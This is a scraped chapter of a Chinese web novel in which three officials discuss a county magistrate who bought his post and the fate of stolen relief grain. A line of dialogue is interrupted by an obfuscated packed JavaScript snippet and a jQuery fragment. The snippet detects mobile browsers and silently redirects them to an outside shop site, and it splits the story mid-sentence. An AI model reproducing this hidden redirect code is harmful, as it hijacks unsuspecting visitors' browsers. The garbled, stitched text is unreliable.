文趣网 > 都市小说 > 江山游戏手册 > 69. 新政旧事
    气走了楼宇宁,姜九思愉快的心情也随之而去了,不得不收回心,直面眼前的困局了。

    柜坊兑不出飞钱,“买粮填缺”这条路,是走不通了。

    那该走哪一条路?

    果然再次印证了那句,当初拍着胸脯说着没问题的事,之后全是问题。

    ·

    姜九思一脸踌躇地盯着沈柔坚的房门,刚抬起叩门的手,想了想,摇了摇头,又无声地收了回来。

    不远处,裴枢慎靠在墙角,看着姜九思哆哆嗦嗦地把门摸了好几遍,一会儿看看门,一会儿又看看地,嘴里叽里咕噜地念叨着什么,那样子不像找人洽谈公务,倒像是在给人下咒。

    裴枢慎站在一旁观望了许久,看得不耐烦了,走过去故意吓了姜九思一跳,“姜九思,你鬼鬼祟祟地晃在文卿门口,是要趁机给他下什么迷|魂香么?”

    裴枢慎冷不丁地从身后出现,已是结结实实吓了姜九思一跳,而后又听得裴枢慎这一句高声污蔑,姜九思赶忙朝门内望了一眼,义正词严地解释道:“裴大人,我没有啊!你可不能胡说啊!”

    “没有?”裴枢慎紧紧盯着她的眼睛道,“你的眼睛说的可不是没有!姜九思,你要不要照照镜子,看看你自己每次盯着文卿看的时候,那副色眯眯的样子,可耻!”

    “啊?我?”姜九思全然没了方才解释那般斩钉截铁的口气,声音都低了下去,结巴道,“有……有……那么夸张么?”

    “你定是看错了,我……我眼神不好,有近视的毛病,得眯起眼睛,才能看个清楚,就像这样。”

    姜九思将眼睛眯成了一道缝,继续道:“何况,我是个男人,怎么可能对男人有非分之想呢?”

    蓦地被姜九思踩了痛处,裴枢慎顿时拉下了脸,气得瞪大了眼,直直地看向眯着眼的姜九思,见她这副猥|琐样子,活像只偷鸡不成反被人逮着的狐狸,七分精明里至少透着三分傻气,不禁嗤道:“你是个禽|兽。”

    沈柔坚开了门,恰巧听到了姜九思对裴枢慎道了一句“我是个男人,怎么可能对男人有非分之想呢”,本是平静的神色,有了一丝波动。

    沈柔坚瞥了一眼怒目圆睁的裴枢慎,顺着他的视线,看到了憨憨眯着眼的姜九思,一个较真,一个犯傻,两人隔着他大小眼地互瞪着。

    沈柔坚叹了口气:“进来说罢。”

    ·

    进门后,姜九思牛饮了几杯凉茶后才道:“沈先生,我自己的办法试过了,不行。”

    “无妨。”沈柔坚神态自若,表情极为平静,“直接去找贾济海。他既放下了鱼饵,我们焉有不上钩之理?”

    裴枢慎跟着道:“这个贾济海还真不简单!他是宣仁二年初任的桐州望海县知县,在这个位置上竟也顺顺当当呆了四五年。在他之前的县令们,半年都不到,就因为大大小小的原因被革职发配了,有的甚至直接死在了这个位置上。想来,贾济海背后应是有人相扶。”

    经裴枢慎这么一说,姜九思忽然回忆起,贾济海曾在她面前颇为得意地提过“当了四五年的知县”的话,她当时只顾着去看粮库,没把这句话放在心上。

    可她仍是好奇,京兆张氏对送上门的狗腿子来者不拒么?

    工部侍郎浦岩那种三流官,虽是把书读狗肚子里了,但尚能诸子百家、引经据典地骂人。

    贾济海成天只会俗话说,说的都是一些歪语,看样子不像是喝过墨水的。

    “贾济海,他是科考入仕的么?”姜九思问道。

    裴枢慎回道:“你看他那样没心没肺的样子,像是能头悬梁、锥刺股、挑灯夜背四书五经的么?别说论语,我看他背三字经都费劲。”

    等博学多才的裴枢慎把贾济海埋汰了一顿后,姜九思才继续问道:“那他是用了什么法子?不会和运气极好的裴大人你一样,被圣上特召,入朝对策做的官?”

    裴枢慎没料想姜九思会提起这么久远的事,嘴角嘲讽地勾起,冷冷笑道:“对一个不想做官的人来说,有人非逼着你做官,你管这叫运气极好?这叫赶鸭子上架!这运气给你……算了,给你你也要不起。”

    见裴枢慎气得居然用起了贾济海才会用的俗语,姜九思忙不迭安慰道:“赶鸭子上架,那上的也是书架,又不是烤鸭架。”

    “裴大人,你想开点,圣上将你从礼部调来了中书,现在这个中书舍人,你做得不挺开心的么?”

    姜九思正说着,余光扫到了裴枢慎带着寒意的瞪视,只好撇了撇嘴:“行,我闭嘴,裴大人,你继续,你继续。”

    裴枢慎咽下一肚子憋屈,继续道:“宣仁初年,大启西抵蕃族、东扛东瀛,两场仗打下来,国库空竭,入不敷出,朝野上下,各部的俸禄,都是能拖则拖。”

    “那年,一边打着仗,一边又要为先帝修陵,一边还要治水患,哪里来的那么多钱?”

    裴枢慎摇了摇头,“战事刚歇,百废待兴,张君堂便是借此时机,推行了新政,捐纳便是其中一项。虽有违体制,但为解燃眉之急,只好权且开了这个先例——卖官售缺,价高者得。”

    姜九思听罢,忍不住开口:“倒便宜贾济海了,让他白捡了个便宜。”

    裴枢慎看了一眼姜九思,“不,你说错了,贾济海实实在在当了个冤大头。”

    “在贾济海之前的县令,每一个都是科考入仕。结果呢?这群饱读四书五经的,水患平不了,民税收不了,还激起了民变,将百姓逼上梁山,做起了山匪。”

    “朝廷前前后后派了四五任下县,结果没一任能撑过一年的。到后头,便彻底没人愿意来桐州望海县做官了。”

    “朝堂缺钱,望海县又没人愿意来,两难之下,这时候竟横空冒出个自告奋勇的贾济海,吏部想都没想,就批了委任状给他。”

    裴枢慎说得渴了,呷了一口清茶,思忖道:“贾济海具体捐了多少银两做的官,我不清楚,但他上任前,望海县已亏空了约莫有八十万两,为保官途,贾济海可是自掏腰包全给补上了。”

    “后来,水患决堤了,需要一百万两,他又自掏腰包修了。”

    “桐州枕江襟海,年年遭水患之灾。自贾济海到任后,八县之中,唯独望海县赋税如数上交,分毫不欠。这样的人,朝廷能不喜欢么?因而,每年给望海县拨赈灾粮款的时候,也照例一分不少。”

    姜九思纠正道:“朝廷哪里是喜欢他这个

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17832486|205416||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    人?分明是喜欢他能掏得出钱的腰包。”

    裴枢慎轻笑一声,“别管喜欢什么了,实情是,那二十万石赈灾粮被贪了也好,烧了也好,朝廷都不会怀疑到安安分分做了四五年县令的贾济海头上,他一句不知道、不清楚、没看见,就能轻轻松松洗脱嫌疑,倒不是他真的清白,而是朝堂需要他继续坐镇望海县,不愿过多追究他。”

    听罢,姜九思心中对裴枢慎的钦佩之意顿时拔高了好几节,刚想开口夸几句,却听裴枢慎幽幽道:“至于姜大人你,可就难说了。”

    “呃……”姜九思噎住,“怎么个难说法?裴大人是知道些什么内情?”

    “我知道……”裴枢慎斜瞥了她一眼,“你是个废物。”

    姜九思:“……”

    “楼宇宁骂的一点没错,我深表赞同。贾济海给你挖坑,你迫不及待地就跳了,还真是拦都拦不住。不过也幸好你跳了,韩君虞有了那张你盖了印的奏函,该是可以从大理寺出来了。”

    裴枢慎提到“韩君虞”时候,满脸的惋惜不像假的,姜九思凑近裴枢慎,问出了自己的疑惑:“裴大人,你觉得韩君虞是清白的?”

    “自然。”裴枢慎道得斩钉截铁,“韩君虞那人清心寡欲,无欲无求,明月清风似的人。最出格的事儿,不过是下厨做饭多放了几勺糖,怎么可能会做出贪污的事来?有人栽赃罢了。”

    裴枢慎说了一通,姜九思听了一通,沈柔坚在旁半垂着眼,静默了片刻,忽而问道:“若水,你方才说,宣仁二年初到的望海县?”

    “没错,的确是宣仁二年初,我绝对不会记错的。”

    裴枢慎说着说着,嘴角莫名浮起了有些无奈的淡淡笑意,“那一年,我在外游山玩水,正是惬意时,却被浩荡皇恩逼得不得不入科场考试。”

    “我在闱场里坐了整整三个时辰,没当场把考卷撕了,已算是我克己复礼的涵养了。”

    沈柔坚问道:“既然没撕考卷,为何我听说你还是挨了一顿家法,跪了半个月?”

    裴枢慎叹了口气,“当时外头春光正好,而我却要被困在闱场这一方狭窄天地里,我心里不痛快。我不痛快了,那都别想好过了。”

    裴枢慎哼了一声,“当时气盛,于是大笔一挥,上至朝纲政令,下至民生百态,把该骂、不该骂的、平日里看不顺眼的,在考卷上全给骂了一通。骂得我累了,都还没骂完,但心情倒是好了,索性扔了笔,高唱一句‘诗意已尽,无需再作。今我不乐,岂负春光?’便交了卷,出了闱场。”

    裴枢慎这事,姜九思在龙井轩听众位师兄说过,当时可是描述得诗意翩翩,潇洒自如。

    姜九思捧了个哏:“后来呢?”

    裴枢慎咬牙,恨恨道:“后来,也不知是哪个闲得发慌的好事者,给我胡乱编排了一通,将此事添油加醋地传来传去,最后竟传到我爹耳朵里去了。”

    姜九思又道:“再然后呢?”

    裴枢慎扶额,回道:“我爹揪着“观心应照裴枢慎”一句,让我滚去裴氏祠堂,照给列祖列宗开开眼。”

    比起传统又老套的诗意精神,姜九思觉得,裴枢慎自述的这一版,颇具反抗斗争精神,更带劲。